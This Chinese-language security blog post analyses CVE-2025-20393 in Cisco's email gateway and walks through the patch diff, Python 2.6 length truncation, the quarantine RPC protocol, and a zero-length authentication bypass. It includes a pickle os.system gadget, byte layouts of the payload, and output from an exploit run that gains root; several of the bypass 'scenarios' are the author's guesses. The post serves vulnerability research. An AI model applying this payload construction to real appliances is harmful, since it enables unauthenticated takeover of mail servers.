Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

Pickling the Mailbox: A Deep Dive into CVE-2025-20393

2026-02-07 Updated on 2026-02-07 SecurityResearch

Table of Contents

  1. 0x00 漏洞背景
  2. 0x01 补丁分析
  3. 0x02 Python 2.6 的 struct.pack 行为
  4. 0x03 EUQ RPC 协议分析
    1. EUQ 服务架构
    2. 消息头定义
    3. 消息构造:send_message()
    4. 消息解析:read_message()
    5. 完整消息结构
  5. 0x04 漏洞分析
    1. 溢出链
    2. 代码流程图
    3. 为何 Pickle 是危险的
  6. 0x05 利用策略:认证绕过深度分析
    1. 认证问题
    2. 两种利用方式对比
    3. 方式 1:序列号匹配
    4. 方式 2:零长度绕过(无前提条件)
    5. 空 Destination 为何能绕过认证
    6. 两种方式对比
  7. 0x06 利用演示
  8. 0x07 总结
  9. References
TL;DR

CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞(CVSS 10.0)。漏洞成因是 EUQ(End User Quarantine)服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...),而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时,长度字段溢出为 0,导致认证绕过,最终通过 cPickle.loads() 实现未授权 RCE。

0x00 漏洞背景

2025年12月17日,Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4,修复了一个 CVSS 10.0 的严重漏洞:

字段 值
Advisory ID cisco-sa-sma-attack-N9bf4
CVE CVE-2025-20393
CVSS 3.1 10.0 (Critical)
CWE CWE-20 (Improper Input Validation)
受影响产品 Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs CSCws36549, CSCws52505
Workarounds 无

我们获取了 AsyncOS 15.5.3 固件,通过逆向工程和代码分析

0x01 补丁分析

当补丁版本发布后,我们提取并对比了两个版本的固件。EUQ(End User Quarantine)服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。

对比 AsyncOS 15.5.3(漏洞版本)与补丁版本的 CommandMessage.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
AsyncOS_patched/site-packages/zeus/CommandMessage.py

30a26,47
> if destination is not None:
> if len(destination) >= 255:
> debug_str = 'DEBUG:send_message:Invalid destination len:%r ...'
> coro.print_stderr(debug_str)
> raise Commandment.MessageFormatError()
> if source is not None:
> if len(source) >= 255:
> debug_str = 'DEBUG:send_message:Invalid source len:%r ...'
> coro.print_stderr(debug_str)
> raise Commandment.MessageFormatError()

补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。

关键问题

猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch:

“为什么是 255?如果发送 256 字节会怎样?”

0x02 Python 2.6 的 struct.pack 行为

查看反编译后的文件头:

1
2
# Python bytecode version base 2.6 (62161)
# Compiled at: 2024-11-27 14:22:42

AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要,因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。

Python 3.x(严格模式):

1
2
3
4
5
>>> import struct
>>> struct.pack('>B', 256)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
struct.error: 'B' format requires 0 <= number <= 255

Python 3 在值超出范围时抛出异常。

Python 2.6(静默截断):

1
2
3
4
5
6
7
>>> import struct
>>> struct.pack('>B', 256)
'\x00'
>>> struct.pack('>B', 289)
'!'
>>> ord('!')
33

Python 2.6 对超出范围的值执行模运算:

1
2
3
256 % 256 = 0   → '\x00'
289 % 256 = 33 → '!' (0x21)
512 % 256 = 0 → '\x00'

这就是整数溢出。在 Python 2.6 中,struct.pack('>B', 256) 不会失败——它返回 0x00。

为何重要

RPC 消息打包代码使用:

1
dst_len = struct.pack('>B', len(destination))

当 len(destination) = 256 时:

  • Python 3:抛出异常,攻击失败
  • Python 2.6:dst_len = '\x00',攻击成功

Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。

0x03 EUQ RPC 协议分析

EUQ 服务架构

EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件:

1
2
3
4
5
6
7
8
┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
│ End User │ ◄───────────────► │ EUQ Web │ ◄────────────► │ EUQ Backend│
│ Browser │ │ Frontend │ │ (Python) │
└─────────────┘ └─────────────┘ └─────────────┘
│
▼
/Search endpoint
?auth=...&serial=...

消息头定义

Commandment.py 定义了 RPC 消息头格式:

1
2
3
# Commandment.py
HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER) # 44 bytes

格式解析:

格式 类型 大小 字段
> Big-endian - 字节序修饰符
B unsigned char 1 byte version
B unsigned char 1 byte ttl
I unsigned int 4 bytes message_length
I unsigned int 4 bytes message_type
B unsigned char 1 byte source_length
B unsigned char 1 byte destination_length
32s char[32] 32 bytes txn_tag

总 header 大小:1+1+4+4+1+1+32 = 44 字节

漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符(B),范围限制为 0-255。

消息构造:send_message()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def send_message(write_method, message_type, source, destination='',
message='', ttl=0, timeout=0, tag=None):
header = struct.pack(
Commandment.HEADER,
Commandment.MESSAGE_VERSION,
ttl,
len(message),
message_type,
len(source), # ← 溢出点
len(destination), # ← 溢出点
_message_tag(tag)
)
packet = header + source + destination + message
write_method(packet)

关键观察:当 len(destination) 超过 255 时,Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。

消息解析:read_message()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# CommandMessage.py - read_message()
def read_message(read_method, timeout=0):
# 读取固定大小的 header(44 字节)
header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

try:
# 解包 header 字段
(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack(
Commandment.HEADER, header)
except struct.error:
raise Commandment.MessageFormatError()

# 验证协议版本
if version != Commandment.MESSAGE_VERSION:
raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)

# 根据 source_length 读取 source 字段
source = _read(read_method, source_length, timeout)

# 根据 destination_length 读取 destination 字段
if destination_length: # ← [A] 检查
destination = _read(read_method, destination_length, timeout)
else:
destination = '' # ← [B] 当 destination_length=0 时,设为空字符串!

# 读取消息载荷
message = _read(read_method, message_length, timeout)

return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

关键漏洞路径 [A] 和 [B]:

  • 当 destination_length = 0(由于溢出),代码进入 else 分支
  • destination 被设为空字符串 ''
  • 空 destination 不会触发认证验证
  • 攻击者控制的 message 载荷直接进入 cPickle.loads()

完整消息结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  +--------------------------- HEADER (44 bytes) ---------------------------+
| |
| +---------+---------+--------------+--------------+----------+---------+--------+
| | version | ttl | message_len | message_type |source_len| dest_len|txn_tag |
| | (1B) | (1B) | (4B) | (4B) | (1B) | (1B) | (32B) |
| | 'B' | 'B' | 'I' | 'I' | 'B' | 'B' | '32s' |
| +---------+---------+--------------+--------------+----------+---------+--------+
| |
+--------------------------------------------------------------------------+
|
v
+--------------------------- BODY (variable) -----------------------------+
| |
| +--------------------+---------------------+----------------------------+
| | source | destination | message |
| | (source_len bytes) | (dest_len bytes) | (message_len bytes) |
| | | | -> cPickle.loads() |
| +--------------------+---------------------+----------------------------+
| |
+--------------------------------------------------------------------------+

0x04 漏洞分析

溢出链

追踪发送 256 字节 destination 时的执行流程:

步骤 1:消息打包(发送端)

1
2
3
4
5
6
7
# 在 send_message() 中 - 漏洞版本
destination = attacker_controlled_256_bytes
header = struct.pack('>BBIIBB32s',
...,
len(destination), # 256 → Python 2.6 截断为 0x00
...
)

步骤 2:消息解析(接收端)

1
2
3
4
5
6
7
8
9
10
11
12
13
# 在 read_message() 中
(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)

# destination_length = 0(来自溢出)

if destination_length: # False!
destination = _read(read_method, destination_length, timeout)
else:
destination = '' # 空字符串,认证被绕过!

message = _read(read_method, message_length, timeout)
return (..., destination, message) # 攻击者的 pickle 进入处理程序

步骤 3:通过 Pickle 实现 RCE

1
2
# 在 RPC 处理程序中
result = cPickle.loads(message) # 攻击者控制的反序列化 → RCE

代码流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
                    攻击者发送 256 字节的 serial 参数
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ send_message() @ CommandMessage.py │
│ │
│ destination = attacker_payload (256 bytes) │
│ │ │
│ ▼ │
│ struct.pack('>BBIIBB32s', ..., len(destination), ...) │
│ struct.pack(..., 256, ...) │
│ │ │
│ ▼ │
│ Python 2.6: 256 % 256 = 0 → '\x00' ← 整数溢出 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
│
│ 网络传输
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ read_message() @ CommandMessage.py │
│ │
│ header = _read(read_method, 44, timeout) │
│ (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header) │
│ │ │
│ ▼ │
│ dest_len = 0 ← 来自溢出 │
│ │ │
│ ▼ │
│ if dest_len: # False! │
│ destination = _read(read_method, dest_len, timeout) │
│ else: │
│ destination = '' ← 空字符串,认证被绕过 │
│ │ │
│ ▼ │
│ message = _read(read_method, message_len, timeout) │
│ return (..., destination, message) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ RPC Handler │
│ │
│ (_, _, _, _, destination, message) = read_message(...) │
│ │ │
│ ▼ │
│ # destination = ''(空)- 验证被跳过或通过 │
│ │ │
│ ▼ │
│ result = cPickle.loads(message) ← 攻击者控制的 PICKLE │
│ │ │
│ ▼ │
│ os.system('attacker_command') ← RCE 达成 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘

为何 Pickle 是危险的

对不可信输入使用 cPickle.loads() 是灾难性的:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class Exploit:
def __reduce__(self):
return (os.system, ('id',))

# 序列化
payload = pickle.dumps(Exploit())

# 反序列化时执行:os.system('id')
pickle.loads(payload) # uid=0(root) gid=0(wheel)...

__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。

0x05 利用策略:认证绕过深度分析

认证问题

正常操作中,EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号:

1
2
3
4
5
6
7
8
9
10
# RPC 处理程序中的简化认证逻辑
def handle_rpc_message(message_data):
(_, _, _, source, destination, message) = read_message(...)

# 认证检查:destination 必须匹配服务器的序列号
if destination != MY_SERIAL_NUMBER:
raise AuthenticationError("Message not for this server")

# 仅当认证通过时,处理消息
result = cPickle.loads(message)

挑战:要利用 pickle 反序列化,我们需要通过认证检查。但如何知道目标服务器的序列号?

两种利用方式对比

方式 前提条件 溢出值 使用场景
序列号匹配 需知道目标序列号 dst_len = serial_len 序列号已泄露时
零长度绕过 无 dst_len = 0 通用,无前提条件

方式 1:序列号匹配

1
2
3
4
5
Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes)
Payload 长度: 256 + 33 = 289 bytes
溢出: 289 % 256 = 33 ✓

服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过

Payload 布局:

1
2
3
4
5
6
7
8
9
┌────────────────────────┬────────────────────┬─────────────────┐
│ Server Serial │ Pickle Payload │ Padding │
│ (33 bytes) │ (72 bytes) │ (184 bytes) │
└────────────────────────┴────────────────────┴─────────────────┘
Total: 289 bytes → 289 % 256 = 33

│ │
▼ ▼
通过认证检查 cPickle.loads() → RCE

方式 2:零长度绕过(无前提条件)

Jiantao 的关键洞察是认识到 dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码:

1
2
3
4
5
6
7
8
9
10
11
# CommandMessage.py - read_message() 漏洞路径
def read_message(read_method, timeout=0):
# ... 解包 header ...

# destination_length 来自 header(通过溢出被攻击者控制)
if destination_length: # ← [1] 检查是否非零
destination = _read(read_method, destination_length, timeout)
else:
destination = '' # ← [2] dst_len=0 时为空字符串!

# ... 继续处理 ...

当 destination_length = 0 时:

  1. [1] 处的 if destination_length: 检查求值为 False(0 是假值)
  2. 代码进入 [2] 处的 else 分支
  3. destination 被设为空字符串 ''
  4. 不从网络读取任何字节作为 destination

空 Destination 为何能绕过认证

通过分析,我们确定当 destination 为空时,认证检查存在以下行为之一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 场景 A:空检查跳过验证
if destination: # 空字符串在 Python 中是假值
if destination != MY_SERIAL_NUMBER:
raise AuthenticationError(...)
# 空 destination → 验证完全被跳过

# 场景 B:广播/本地消息处理
if destination == '' or destination == MY_SERIAL_NUMBER:
# 接受消息(空 = 广播或本地)
process_message(...)

# 场景 C:错误处理穿透
try:
validate_destination(destination) # 可能未处理空情况
except:
pass # 静默继续

无论哪种情况,空 destination 都允许消息到达 cPickle.loads()。

两种方式对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌─────────────────────────────────────────────────────────────────────────────┐
│ 序列号匹配方式 │
├─────────────────────────────────────────────────────────────────────────────┤
│ Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes │
│ │
│ 溢出: 289 % 256 = 33 │
│ │
│ 服务器读取: │
│ dst_len = 33 │
│ destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A" │
│ 认证检查: destination == MY_SERIAL → 通过 ✓ │
│ message = payload[33:105] = pickle_gadget │
│ cPickle.loads(message) → RCE │
│ │
│ 要求: 必须知道服务器的序列号 │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 零长度绕过方式 ✓ │
├─────────────────────────────────────────────────────────────────────────────┤
│ Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes │
│ │
│ 溢出: 256 % 256 = 0 │
│ │
│ 服务器读取: │
│ dst_len = 0 │
│ if dst_len: ... else: destination = '' ← 空字符串 │
│ 认证检查: destination == '' → 绕过! ✓ │
│ message = payload[0:72] = pickle_gadget │
│ cPickle.loads(message) → RCE │
│ │
│ 要求: 无 - 对任何目标都有效 │
└─────────────────────────────────────────────────────────────────────────────┘

我们选择零长度绕过方式,因为它无需任何目标信息即可实现通用利用。

0x06 利用演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 exploit.py 192.168.2.10 'id > /tmp/pwned'

======================================================================
CVE-2025-20393 - Cisco Secure Email Gateway RCE
Advisory: cisco-sa-sma-attack-N9bf4
======================================================================

[*] Target: https://192.168.2.10:83
[*] Command: id > /tmp/pwned

[*] Exploit Details:
├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
├─ Pickle gadget: 72 bytes
├─ Padding: 184 bytes
├─ Total payload: 256 bytes
└─ Overflow: 256 % 256 = 0

[*] URL length: 891 bytes

[*] Sending exploit...
[+] Read timeout - likely successful!
(Server busy executing pickle payload)

[*] Verify:
$ ssh root@192.168.2.10 'cat /tmp/pwned'

验证:

1
2
$ ssh root@192.168.2.10 'cat /tmp/pwned'
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

0x07 总结

CVE-2025-20393 展示了技术债务的复合危害:

  1. Python 2.6 — 一个 17 年前的运行时,带有不安全的默认行为
  2. 单字节长度字段 — 过早优化创造了溢出条件
  3. Pickle 反序列化 — 方便但等同于对不可信输入执行 eval()
  4. 缺失验证 — 补丁揭示了本应从一开始就存在的校验

References

  • Cisco Advisory: cisco-sa-sma-attack-N9bf4
  • CVE-2025-20393
  • Python 2.6 struct module
  • Python pickle security
分类: SecurityResearch
标签: security cve-2025-20393
Next → 如何给 Linux 内核提交补丁:一次真实的踩坑记录

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom